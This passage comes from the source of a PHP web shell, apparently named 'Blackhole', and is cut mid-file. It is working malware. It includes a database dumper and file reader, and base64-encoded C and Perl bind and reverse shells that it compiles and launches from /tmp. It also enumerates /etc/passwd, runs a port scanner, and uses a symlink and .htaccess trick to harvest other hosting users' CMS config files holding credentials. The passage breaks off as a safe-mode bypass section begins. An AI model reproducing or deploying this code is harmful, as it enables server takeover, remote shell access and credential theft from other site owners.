  1294. echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\
  1295. ";
  1296. }
  1297. break;
  1298. }
  1299. return false;
  1300. }
  1301. };
  1302. $db = new DbClass(@$_POST['type']);
  1303. if(@$_POST['p2']=='download') {
  1304. ob_start("ob_gzhandler", 4096);
  1305. $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  1306. $db->selectdb($_POST['sql_base']);
  1307. header("Content-Disposition: attachment; filename=dump.sql");
  1308. header("Content-Type: text/plain");
  1309. foreach($_POST['tbl'] as $v)
  1310. $db->dump($v);
  1311. exit;
  1312. }
  1313. printHeader();
  1314. echo '<h1>SQL Browser</h1><div class=content>
  1315. <form name="sf" method="post">
  1316. <table cellpadding="2" cellspacing="0">
  1317. <tr>
  1318. <td>Type</td>
  1319. <td>Host</td>
  1320. <td>Login</td>
  1321. <td>Password</td>
  1322. <td>Database</td>
  1323. <td></td>
  1324. </tr>
  1325. <tr>
  1326. <input type=hidden name=a value=Sql>
  1327. <input type=hidden name=p1 value=\'query\'>
  1328. <input type=hidden name=p2>
  1329. <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
  1330. <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  1331. <td>
  1332. <select name=\'type\'>
  1333. <option value="mysql" '.(@$_POST['type']=='mysql'?'selected':'').'>MySql</option>
  1334. <option value="pgsql" '.(@$_POST['type']=='pgsql'?'selected':'').'>PostgreSql</option>
  1335. </select></td>
  1336. <td><input type=text name=sql_host value="'.(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])).'"></td>
  1337. <td><input type=text name=sql_login value="'.(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])).'"></td>
  1338. <td><input type=text name=sql_pass value="'.(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])).'"></td>
  1339. <td>';
  1340. $tmp = "<input type=text name=sql_base value=''>";
  1341. if(isset($_POST['sql_host'])){
  1342. if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  1343. switch($_POST['charset']) {
  1344. case "Windows-1251": $db->setCharset('cp1251'); break;
  1345. case "UTF-8": $db->setCharset('utf8'); break;
  1346. case "KOI8-R": $db->setCharset('koi8r'); break;
  1347. case "KOI8-U": $db->setCharset('koi8u'); break;
  1348. case "cp866": $db->setCharset('cp866'); break;
  1349. }
  1350. $db->listDbs();
  1351. echo "<select name=sql_base><option value=''></option>";
  1352. while($item = $db->fetch()) {
  1353. list($key, $value) = each($item);
  1354. echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  1355. }
  1356. echo '</select>';
  1357. }
  1358. else echo $tmp;
  1359. }else
  1360. echo $tmp;
  1361. echo '</td>
  1362. <td><input type=submit value=">>"></td>
  1363. </tr>
  1364. </table>
  1365. <script>
  1366. function st(t,l) {
  1367. document.sf.p1.value = \'select\';
  1368. document.sf.p2.value = t;
  1369. if(l!=null)document.sf.p3.value = l;
  1370. document.sf.submit();
  1371. }
  1372. function is() {
  1373. for(i=0;i<document.sf.elements[\'tbl[]\'].length;++i)
  1374. document.sf.elements[\'tbl[]\'][i].checked = !document.sf.elements[\'tbl[]\'][i].checked;
  1375. }
  1376. </script>';
  1377. if(isset($db) && $db->link){
  1378. echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  1379. if(!empty($_POST['sql_base'])){
  1380. $db->selectdb($_POST['sql_base']);
  1381. echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
  1382. $tbls_res = $db->listTables();
  1383. while($item = $db->fetch($tbls_res)) {
  1384. list($key, $value) = each($item);
  1385. $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  1386. $value = htmlspecialchars($value);
  1387. echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
  1388. }
  1389. echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
  1390. if(@$_POST['p1'] == 'select') {
  1391. $_POST['p1'] = 'query';
  1392. $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
  1393. $num = $db->fetch();
  1394. $num = $num['n'];
  1395. echo "<span>".$_POST['p2']."</span> ($num) ";
  1396. for($i=0;$i<($num/30);$i++)
  1397. if($i != (int)$_POST['p3'])
  1398. echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
  1399. else
  1400. echo ($i+1)," ";
  1401. if($_POST['type']=='pgsql')
  1402. $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  1403. else
  1404. $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  1405. echo "<br><br>";
  1406. }
  1407. if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
  1408. $db->query(@$_POST['p3']);
  1409. if($db->res !== false) {
  1410. $title = false;
  1411. echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
  1412. $line = 1;
  1413. while($item = $db->fetch()) {
  1414. if(!$title) {
  1415. echo '<tr>';
  1416. foreach($item as $key => $value)
  1417. echo '<th>'.$key.'</th>';
  1418. reset($item);
  1419. $title=true;
  1420. echo '</tr><tr>';
  1421. $line = 2;
  1422. }
  1423. echo '<tr class="l'.$line.'">';
  1424. $line = $line==1?2:1;
  1425. foreach($item as $key => $value) {
  1426. if($value == null)
  1427. echo '<td><i>null</i></td>';
  1428. else
  1429. echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  1430. }
  1431. echo '</tr>';
  1432. }
  1433. echo '</table>';
  1434. } else {
  1435. echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  1436. }
  1437. }
  1438. echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
  1439. echo "</td></tr>";
  1440. }
  1441. echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
  1442. if(@$_POST['p1'] == 'loadfile') {
  1443. $db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file");
  1444. $file = $db->fetch();
  1445. echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  1446. }
  1447. }
  1448. echo '</div>';
  1449. printFooter();
  1450. }
  1451.  
  1452. function actionNetwork() {
  1453. printHeader();
  1454. $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
  1455. $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1456. $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
  1457. $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  1458.  
  1459. echo '<h1>Network-ing Tools</h1><div class=content>
  1460. <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
  1461. <br /><span>Bind port to /bin/sh</span><br/>
  1462. Port: <input type=\'text\' name=\'port\' value=\'443\'> Password: <input type=\'text\' name=\'pass\' value=\'Blackhole\'> Using: <select name="using"><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select> <input type=submit value=">>">
  1463. </form>
  1464. <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
  1465. <br /><br /><span>Back-connect to</span><br/>
  1466. Server: <input type=\'text\' name=\'server\' value="'.$_SERVER['REMOTE_ADDR'].'"> Port: <input type=\'text\' name=\'port\' value=\'443\'> Using: <select name="using"><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select> <input type=submit value=">>">
  1467. </form><br>';
  1468. if(isset($_POST['p1'])) {
  1469. function cf($f,$t) {
  1470. $w=@fopen($f,"w") or @function_exists('file_put_contents');
  1471. if($w) {
  1472. @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
  1473. @fclose($w);
  1474. }
  1475. }
  1476. if($_POST['p1'] == 'bpc') {
  1477. cf("/tmp/bp.c",$bind_port_c);
  1478. $out = ex("gcc -o /tmp/bp /tmp/bp.c");
  1479. @unlink("/tmp/bp.c");
  1480. $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
  1481. echo "<pre class=ml1>$out\
  1482. ".ex("ps aux | grep bp")."</pre>";
  1483. }
  1484. if($_POST['p1'] == 'bpp') {
  1485. cf("/tmp/bp.pl",$bind_port_p);
  1486. $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
  1487. echo "<pre class=ml1>$out\
  1488. ".ex("ps aux | grep bp.pl")."</pre>";
  1489. }
  1490. if($_POST['p1'] == 'bcc') {
  1491. cf("/tmp/bc.c",$back_connect_c);
  1492. $out = ex("gcc -o /tmp/bc /tmp/bc.c");
  1493. @unlink("/tmp/bc.c");
  1494. $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
  1495. echo "<pre class=ml1>$out\
  1496. ".ex("ps aux | grep bc")."</pre>";
  1497. }
  1498. if($_POST['p1'] == 'bcp') {
  1499. cf("/tmp/bc.pl",$back_connect_p);
  1500. $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
  1501. echo "<pre class=ml1>$out\
  1502. ".ex("ps aux | grep bc.pl")."</pre>";
  1503. }
  1504. }
  1505. echo '</div>';
  1506. printFooter();
  1507. }
  1508.  
  1509. function actionPortScanner() {
  1510. printHeader();
  1511. echo '<h1>Port Scanner</h1>';
  1512. echo '<div class="content">';
  1513. echo '<form action="" method="post">';
  1514.  
  1515. if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
  1516. $start = strip_tags($_POST['start']);
  1517. $end = strip_tags($_POST['end']);
  1518. $host = strip_tags($_POST['host']);
  1519. for($i = $start; $i<=$end; $i++){
  1520. $fp = @fsockopen($host, $i, $errno, $errstr, 3);
  1521. if($fp){
  1522. echo 'Port '.$i.' is <font color=lime>open</font><br>';
  1523. }
  1524. flush();
  1525. }
  1526. } else {
  1527. echo '<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
  1528. <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
  1529. <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  1530. Host: <input type="text" name="host" value="localhost"/><br /><br />
  1531. Port start: <input type="text" name="start" value="0"/><br /><br />
  1532. Port end:<input type="text" name="end" value="5000"/><br /><br />
  1533. <input type="submit" value="Scan Ports" />
  1534. </form></center><br /><br />';
  1535. }
  1536. echo '</div>';
  1537. printFooter();
  1538. }
  1539.  
  1540. function actionReadable() {
  1541. printHeader();
  1542. echo '<h1>Readable Directories</h1>';
  1543. echo '<div class="content">';
  1544. $sm = ini_get('safe_mode');
  1545. if($sm) {
  1546. echo '<br /><b>Error: safe_mode = on</b><br /><br />';
  1547. } else {
  1548. @$passwd = file('/etc/passwd','r');
  1549. if (!$passwd) {
  1550. echo '<br /><b>[#] Error : couldn`t read /etc/passwd</b><br /><br />';
  1551. } else {
  1552. $pub = array();
  1553. $users = array();
  1554. $conf = array();
  1555. $i = 0;
  1556. foreach($passwd as $p) {
  1557. $r = explode(':',$p);
  1558. $dirz = $r[5].'/public_html/';
  1559. if(strpos($r[5],'home')) {
  1560. array_push($users,$r[0]);
  1561. if (is_readable($dirz)) {
  1562. array_push($pub,$dirz);
  1563. }
  1564. }
  1565. }
  1566. echo '<br><br>';
  1567. echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\
  1568. "."<br />";
  1569. echo "[+] Founded ".sizeof($pub)." readable public_html directories\
  1570. "."<br /><br /><br />";
  1571. foreach ($pub as $user) {
  1572. echo $user."<br>";
  1573. }
  1574. echo "<br /><br /><br />[+] Complete...\
  1575. "."<br />";
  1576. }
  1577. }
  1578. echo '</div>';
  1579. printFooter();
  1580. }
  1581.  
  1582. function actionSymlink() {
  1583. printHeader();
  1584. echo '<h1>Symlink</h1>';
  1585. $furl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
  1586. $expld = explode('/',$furl );
  1587. $burl =str_replace(end($expld),'',$furl);
  1588.  
  1589. echo '<div class="content"><center>
  1590. <h3>[ <a href="#" onclick="g(\'symlink\',null,\'website\',null)">Domains</a> ] -
  1591. [ <a href="#" onclick="g(\'symlink\',null,\'whole\',null)">Whole Server Symlink<sup style="color:red;text-decoration:blink;">New</sup></a> ] -
  1592. [ <a href="#" onclick="g(\'symlink\',null,\'config\',null)">Config files symlink</a> ]</h3></center>';
  1593.  
  1594. if(isset($_POST['p1']) && $_POST['p1']=='website')
  1595. {
  1596. echo "<center>";
  1597. $d0mains = @file("/etc/named.conf");
  1598. if(!$d0mains){
  1599. echo "<pre class=ml1 style='margin-top:5px'>Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
  1600. } else {
  1601. echo "<table align=center class='main' border=0 ><tr><th> Count </th><th> Domains </th><th> Users </th></tr>";
  1602.  
  1603. $unk = array();
  1604. foreach($d0mains as $d0main){
  1605. if(@eregi("zone",$d0main)){
  1606. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  1607. flush();
  1608. if(strlen(trim($domains[1][0])) > 2){
  1609. $unk[] = $domains[1][0];
  1610. flush();
  1611.  
  1612. }
  1613. }
  1614. }
  1615. $count=1;
  1616. $unk = array_unique($unk);
  1617. $l=0;
  1618. foreach($unk as $d){
  1619. $user = posix_getpwuid(@fileowner("/etc/valiases/".$d));
  1620. echo "<tr".($l?' class=l1':'')."><td>".$count."</td><td><a href=http://".$d."/>".$d."</a></td><td>".$user['name']."</td></tr>";
  1621. flush();
  1622. $count++;
  1623. $l=$l?0:1;
  1624. }
  1625. echo "</table>";
  1626. }
  1627. echo "</center>";
  1628. }
  1629.  
  1630. if(isset($_POST['p1']) && $_POST['p1']=='whole')
  1631. {
  1632. echo "<center>";
  1633. @mkdir('Blackhole_sym',0777);
  1634. $hdt = "Options all\
  1635. DirectoryIndex Sux.html\
  1636. AddType text/plain .php\
  1637. AddHandler server-parsed .php\
  1638. AddType text/plain .html\
  1639. AddHandler txt .html\
  1640. Require None\
  1641. Satisfy Any";
  1642. $hfp =@fopen ('Blackhole_sym/.htaccess','w');
  1643. fwrite($hfp ,$hdt);
  1644. if(function_exists('symlink')) {
  1645. @symlink('/','Blackhole_sym/root');
  1646. }
  1647. $d0mains = @file('/etc/named.conf');
  1648. if(!$d0mains) {
  1649. echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
  1650. echo "<table align='center' width='40%' class='main'><tr><th> Count </th><th> Domains </th><th> User </th><th> Symlink </th></tr>";
  1651. $dt = file('/etc/passwd');
  1652. $l=0;
  1653. foreach($dt as $d) {
  1654. $r = explode(':',$d);
  1655. if(strpos($r[5],'home')) {
  1656. echo "<tr".($l?' class=l1':'')."><td>".$j."</td><td>---</td><td>".$r[0]."</td><td><a href='Blackhole_sym/root".$r[5]."/public_html' target='_blank'>symlink</a></td></tr>";
  1657. $l=$l?0:1;
  1658. $j++;
  1659. }
  1660. }
  1661. echo '</table>';
  1662. } else {
  1663. echo "<table align='center' width='40%' class='main'><tr><th> Count </th><th> Domains </th><th> User </th><th> Symlink </th></tr>";
  1664. $count=1;
  1665. $mck = array();
  1666. foreach($d0mains as $d0main){
  1667. if(@eregi('zone',$d0main)){
  1668. preg_match_all('#zone "(.*)"#',$d0main,$domain);
  1669. flush();
  1670. if(strlen(trim($domain[1][0])) >2){
  1671. $mck[] = $domain[1][0];
  1672. }
  1673. }
  1674. }
  1675. $mck = array_unique($mck);
  1676. $usr = array();
  1677. $dmn = array();
  1678. foreach($mck as $o) {
  1679. $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
  1680. $usr[] = $infos['name'];
  1681. $dmn[] = $o;
  1682. }
  1683. array_multisort($usr,$dmn);
  1684. $dt = file('/etc/passwd');
  1685. $passwd = array();
  1686. foreach($dt as $d) {
  1687. $r = explode(':',$d);
  1688. if(strpos($r[5],'home')) {
  1689. $passwd[$r[0]] = $r[5];
  1690. }
  1691. }
  1692. $l=0;
  1693. $j=1;
  1694. foreach($usr as $r) {
  1695. echo "<tr".($l?' class=l1':'')."><td>".$count++."</td>
  1696. <td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td>
  1697. <td>'.$r."</td>
  1698. <td><a href='Blackhole_sym/root".$passwd[$r]."/public_html' target='_blank'>symlink</a></td></tr>";
  1699. flush();
  1700. $l=$l?0:1;
  1701. $j++;
  1702. }
  1703. echo '</table>';
  1704. }
  1705. echo "</center>";
  1706. }
  1707.  
  1708. if(isset($_POST['p1']) && $_POST['p1']=='config')
  1709. {
  1710. echo "<center>";
  1711. @mkdir('Blackhole_sym',0777);
  1712. $hdt = "Options all \
  1713. DirectoryIndex Sux.html \
  1714. AddType text/plain .php \
  1715. AddHandler server-parsed .php \
  1716. AddType text/plain .html \
  1717. AddHandler txt .html \
  1718. Require None \
  1719. Satisfy Any";
  1720. $hfp = @fopen ('Blackhole_sym/.htaccess','w');
  1721. @fwrite($hfp ,$hdt);
  1722. if(function_exists('symlink')) {
  1723. @symlink('/','Blackhole_sym/root');
  1724. }
  1725. $d0mains = @file('/etc/named.conf');
  1726. if(!$d0mains) {
  1727. echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
  1728. } else {
  1729. echo "<table align='center' width='40%' class='main' ><tr><th> Count </th><th> Domain </th<th> User </th>><th> Script </th></tr>";
  1730. $count = 1;
  1731. $l=0;
  1732. foreach($d0mains as $d0main){
  1733. if(@eregi('zone',$d0main)){
  1734. preg_match_all('#zone "(.*)"#',$d0main,$domain);
  1735. flush();
  1736. if(strlen(trim($domain[1][0]))>2){
  1737. $user = posix_getpwuid(@fileowner('/etc/valiases/'.$domain[1][0]));
  1738.  
  1739. $c1 = $burl.'/Blackhole_sym/root/home/'.$user['name'].'/public_html/wp-config.php';
  1740. $ch01 = get_headers($c1);
  1741. $cf01 = $ch01[0];
  1742. $c2 = $burl.'/Blackhole_sym/root/home/'.$user['name'].'/public_html/blog/wp-config.php';
  1743. $ch02 = get_headers($c2);
  1744. $cf02 = $ch02[0];
  1745. $c3 = $burl.'/Blackhole_sym/root/home/'.$user['name'].'/public_html/configuration.php';
  1746. $ch03 = get_headers($c3);
  1747. $cf03 = $ch03[0];
  1748. $c4 = $burl.'/Blackhole_sym/root/home/'.$user['name'].'/public_html/joomla/configuration.php';
  1749. $ch04 = get_headers($c4);
  1750. $cf04 = $ch04[0];
  1751. $c5 = $burl.'/Blackhole_sym/root/home/'.$user['name'].'/public_html/includes/config.php';
  1752. $ch05 = get_headers($c5);
  1753. $cf05 = $ch05[0];
  1754. $c6 = $burl.'/Blackhole_sym/root/home/'.$user['name'].'/public_html/vb/includes/config.php';
  1755. $ch06 = get_headers($c6);
  1756. $cf06 = $ch06[0];
  1757. $c7 = $burl.'/Blackhole_sym/root/home/'.$user['name'].'/public_html/forum/includes/config.php';
  1758. $ch07 = get_headers($c7);
  1759. $cf07 = $ch07[0];
  1760. $c8 = $burl.'/Blackhole_sym/root/home/'.$user['name'].'public_html/clients/configuration.php';
  1761. $ch08 = get_headers($c8);
  1762. $cf08 = $ch08[0];
  1763. $c9 = $burl.'/Blackhole_sym/root/home/'.$user['name'].'/public_html/support/configuration.php';
  1764. $ch09 = get_headers($c9);
  1765. $cf09 = $ch09[0];
  1766. $c10 = $burl.'/Blackhole_sym/root/home/'.$user['name'].'/public_html/client/configuration.php';
  1767. $ch10 = get_headers($c10);
  1768. $cf10 = $ch10[0];
  1769. $c11 = $burl.'/Blackhole_sym/root/home/'.$user['name'].'/public_html/submitticket.php';
  1770. $ch11 = get_headers($c11);
  1771. $cf11 = $ch11[0];
  1772. $c12 = $burl.'/Blackhole_sym/root/home/'.$user['name'].'/public_html/client/configuration.php';
  1773. $ch12 = get_headers($c12);
  1774. $cf12 = $ch12[0];
  1775. $c13 = $burl.'/Blackhole_sym/root/home/'.$user['name'].'/public_html/includes/configure.php';
  1776. $ch13 = get_headers($c13);
  1777. $cf13 = $ch13[0];
  1778. $c14 = $burl.'/Blackhole_sym/root/home/'.$user['name'].'/public_html/include/app_config.php';
  1779. $ch14 = get_headers($c14);
  1780. $cf14 = $ch14[0];
  1781. $c15 = $burl.'/Blackhole_sym/root/home/'.$user['name'].'/public_html/sites/default/settings.php';
  1782. $ch15 = get_headers($c15);
  1783. $cf15 = $ch15[0];
  1784.  
  1785. $out = '&nbsp;';
  1786. if(strpos($cf01,'200') == true) { $out = "<a href='".$c1."' target='_blank'>Wordpress</a>"; }
  1787. elseif(strpos($cf02,'200') == true) { $out = "<a href='".$c2."' target='_blank'>Wordpress</a>"; }
  1788. elseif(strpos($cf03,'200') == true && strpos($cf11,'200') == true) { $out = " <a href='".$c11."' target='_blank'>WHMCS</a>"; }
  1789. elseif(strpos($cf09,'200') == true) { $out = " <a href='".$c9."' target='_blank'>WHMCS</a>"; }
  1790. elseif(strpos($cf10,'200') == true) { $out = " <a href='".$c10."' target='_blank'>WHMCS</a>"; }
  1791. elseif(strpos($cf03,'200') == true) { $out = " <a href='".$c3."' target='_blank'>Joomla</a>"; }
  1792. elseif(strpos($cf04,'200') == true) { $out = " <a href='".$c4."' target='_blank'>Joomla</a>"; }
  1793. elseif(strpos($cf05,'200') == true) { $out = " <a href='".$c5."' target='_blank'>vBulletin</a>"; }
  1794. elseif(strpos($cf06,'200') == true) { $out = " <a href='".$c6."' target='_blank'>vBulletin</a>"; }
  1795. elseif(strpos($cf07,'200') == true) { $out = " <a href='".$c7."' target='_blank'>vBulletin</a>"; }
  1796. elseif(strpos($cf08,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Client Area</a>"; }
  1797. elseif(strpos($cf12,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Client Area</a>"; }
  1798. elseif(strpos($cf13,'200') == true) { $out = " <a href='".$c7."' target='_blank'>osCommerce/Zen Cart</a>"; }
  1799. elseif(strpos($cf14,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Magento</a>"; }
  1800. elseif(strpos($cf15,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Drupal</a>"; }
  1801. else {
  1802. continue;
  1803. }
  1804. echo '<tr'.($l?' class=l1':'').'><td>'.$count++.'</td><td><a href=http://www.'.$domain[1][0].'/>'.$domain[1][0].'</a></td><td>'.$user['name'].'</td><td>'.$out.'</td></tr>';
  1805. flush();
  1806. $l=$l?0:1;
  1807. }
  1808. }
  1809. }
  1810. echo "</table>";
  1811. }
  1812. echo "</center>";
  1813. }
  1814. echo "</div>";
  1815. printFooter();
  1816. }
  1817.  
  1818. function actionBypass() {
  1819. printHeader();
  1820. echo '<h1>Safe Mode</h1>';
  1821. echo '<div class="content">';
  1822. echo "<div class=header><center><h3><span>| SAFE MODE, MOD SECURITY DISABLED & PERL 500 (INTERNAL ERROR) BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br><br />";
